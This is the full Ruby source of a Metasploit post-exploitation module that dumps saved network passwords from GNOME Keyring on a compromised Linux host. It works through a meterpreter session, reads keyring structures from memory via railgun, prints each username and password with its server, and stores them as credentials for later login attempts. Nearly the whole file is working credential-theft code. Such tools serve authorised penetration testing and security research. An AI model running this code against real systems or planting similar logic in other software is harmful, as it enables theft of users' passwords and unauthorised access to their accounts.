##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gnome-Keyring Dump',
        'Description' => %q{
          Use libgnome-keyring to extract network passwords for the current user.
          This module does not require root privileges to run.
        },
        'Author' => 'Spencer McIntyre',
        'License' => MSF_LICENSE,
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_native_arch
              stdapi_net_resolve_host
              stdapi_railgun_api
              stdapi_railgun_memread
            ]
          }
        }
      )
    )
  end

  class GListX64 < BinData::Record
    endian :little
    uint64 :data_ptr
    uint64 :next_ptr
    uint64 :prev_ptr
  end

  class GListX86 < BinData::Record
    endian :little
    uint32 :data_ptr
    uint32 :next_ptr
    uint32 :prev_ptr
  end

  # https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
  def struct_glist
    session.native_arch == ARCH_X64 ? GListX64 : GListX86
  end

  class GnomeKeyringNetworkPasswordDataX64 < BinData::Record
    endian :little
    uint64 :keyring
    uint64 :item_id
    uint64 :protocol
    uint64 :server
    uint64 :object
    uint64 :authtype
    uint64 :port
    uint64 :user
    uint64 :domain
    uint64 :password
  end

  class GnomeKeyringNetworkPasswordDataX86 < BinData::Record
    endian :little
    uint32 :keyring
    uint32 :item_id
    uint32 :protocol
    uint32 :server
    uint32 :object
    uint32 :authtype
    uint32 :port
    uint32 :user
    uint32 :domain
    uint32 :password
  end

  # https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
  def struct_gnomekeyringnetworkpassworddata
    session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordDataX64 : GnomeKeyringNetworkPasswordDataX86
  end

  def init_railgun_defs
    unless session.railgun.libraries.key?('libgnome_keyring')
      session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
    end
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_is_available',
      'BOOL',
      [],
      nil,
      'cdecl'
    )
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_find_network_password_sync',
      'DWORD',
      [
        ['PCHAR', 'user', 'in'],
        ['PCHAR', 'domain', 'in'],
        ['PCHAR', 'server', 'in'],
        ['PCHAR', 'object', 'in'],
        ['PCHAR', 'protocol', 'in'],
        ['PCHAR', 'authtype', 'in'],
        ['DWORD', 'port', 'in'],
        ['PBLOB', 'results', 'out']
      ],
      nil,
      'cdecl'
    )
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_network_password_list_free',
      'VOID',
      [['LPVOID', 'list', 'in']],
      nil,
      'cdecl'
    )
  end

  def get_string(address, chunk_size = 64, max_size = 256)
    data = ''
    loop do
      data << session.railgun.memread(address + data.length, chunk_size)
      break if data.include?("\x00") || (data.length >= max_size)
    end

    if data.include?("\x00")
      idx = data.index("\x00")
      data = data[0...idx]
    end

    data[0...max_size]
  end

  def get_struct(address, record)
    record = record.new
    record.read(session.railgun.memread(address, record.num_bytes))
    Hash[record.field_names.map { |field| [field, record[field]] }]
  end

  def get_list_entry(address)
    glist_struct = get_struct(address, struct_glist)
    glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
    glist_struct
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: opts[:protocol],
      workspace_id: myworkspace_id
    }

    credential_data = {
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:username]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def resolve_host(name)
    address = @hostname_cache[name]
    return address unless address.nil?

    vprint_status("Resolving hostname: #{name}")
    begin
      address = session.net.resolve.resolve_host(name)[:ip]
    rescue Rex::Post::Meterpreter::RequestError
      address = nil
    end
    @hostname_cache[name] = address
  end

  def resolve_port(service)
    port = {
      'ftp' => 21,
      'http' => 80,
      'https' => 443,
      'sftp' => 22,
      'ssh' => 22,
      'smb' => 445
    }[service]
    port.nil? ? 0 : port
  end

  def run
    init_railgun_defs
    @hostname_cache = {}
    libgnome_keyring = session.railgun.libgnome_keyring

    unless libgnome_keyring.gnome_keyring_is_available['return']
      fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
    end

    result = libgnome_keyring.gnome_keyring_find_network_password_sync(
      nil,  # user
      nil,  # domain
      nil,  # server
      nil,  # object
      nil,  # protocol
      nil,  # authtype
      0,    # port
      session.native_arch == ARCH_X64 ? 8 : 4
    )

    list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
    fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0

    entry = { next_ptr: list_anchor }
    loop do
      entry = get_list_entry(entry[:next_ptr])
      pw_data = entry[:data]
      # resolve necessary string fields to non-empty strings or nil
      %i[server user domain password protocol].each do |field|
        value = pw_data[field]
        pw_data[field] = nil
        next if value == 0

        value = get_string(value)
        next if value.empty?

        pw_data[field] = value
      end

      # skip the entry if we don't at least have a username and password
      next if pw_data[:user].nil? || pw_data[:password].nil?

      printable = ''
      printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
      printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
      printable << "#{pw_data[:user]}:#{pw_data[:password]}"
      unless pw_data[:server].nil?
        printable << "@#{pw_data[:server]}"
        printable << ":#{pw_data[:port]}"
      end
      print_good(printable)

      pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?
      next if pw_data[:port] == 0  # can't report without a valid port

      ip_address = resolve_host(pw_data[:server])
      next if ip_address.nil?      # can't report without an ip address

      report_cred(
        ip: ip_address,
        port: pw_data[:port],
        protocol: 'tcp',
        service_name: pw_data[:protocol],
        username: pw_data[:user],
        password: pw_data[:password]
      )
      break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)
    end

    libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
  end
end
